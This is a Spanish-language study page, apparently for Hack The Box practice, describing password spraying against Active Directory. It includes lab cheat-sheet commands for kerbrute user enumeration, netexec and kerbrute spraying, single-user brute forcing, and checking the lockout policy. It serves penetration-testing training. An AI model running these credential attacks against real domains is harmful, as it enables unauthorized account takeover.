Password spraying
Subtécnica de T1110 Fuerza bruta ↗
Probar una misma contraseña contra muchos usuarios para no bloquear cuentas.
Cómo aparece en Hack The Box
En cuanto tengas una contraseña y una lista de usuarios del dominio, rocíala con NetExec (--continue-on-success). Mira antes la política de bloqueo con --pass-pol.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
- Cross-Site Scripting (XSS)
- CSRF
- Inyección SQL
- SSRF
- Credenciales guardadas / DPAPI
- ADCS (certificados)
- Captura y relay NTLM
- Pass-the-hash / ticket
- Password spraying y usuarios válidos
- Credenciales en ficheros
- Servicios internos y port forwarding
- Volcado de SAM/LSA/LSASS
- Abuso de ACLs (BloodHound)
- GPP y abuso de GPO
- Cracking de hashes
- Fuzzing de vhosts y subdominios
- Credenciales por defecto
- Deserialización insegura
- Inyección de comandos
- Password spraying y usuarios válidos
- Credenciales en ficheros
- Servicios internos y port forwarding
- Criptografía débil o casera
- Backups y archivos comprimidos
- Credenciales guardadas / DPAPI
- AppLocker y Constrained Language Mode
Guías
- Enumeración de Active Directory: usuarios, LDAP, BloodHound y password spraying 4 min de lectura Qué hacer al encontrar un controlador de dominio: enumerar sin credenciales, conseguir usuarios válidos, password spraying sin bloqueos y BloodHound.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Escalada en Windows y Active Directory › Active Directory
Validar usuarios (Kerberos)
kerbrute userenum -d box.htb --dc 10.10.11.20 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
Password spraying
netexec smb 10.10.11.20 -u usuarios.txt -p 'Password123!' --continue-on-success
Kerbrute › Spraying
Una contraseña contra todos los usuarios
kerbrute passwordspray -d box.htb --dc 10.10.11.20 usuarios.txt 'Password123!'
Varias contraseñas contra un usuario
kerbrute bruteuser -d box.htb --dc 10.10.11.20 claves.txt usuario
Cuidado con la política de bloqueo de cuentas.
NetExec (nxc) › Enumeración
Política de contraseñas (antes de rociar)
nxc smb 10.10.11.20 -u usuario -p 'Password123!' --pass-pol
Ningún comando coincide.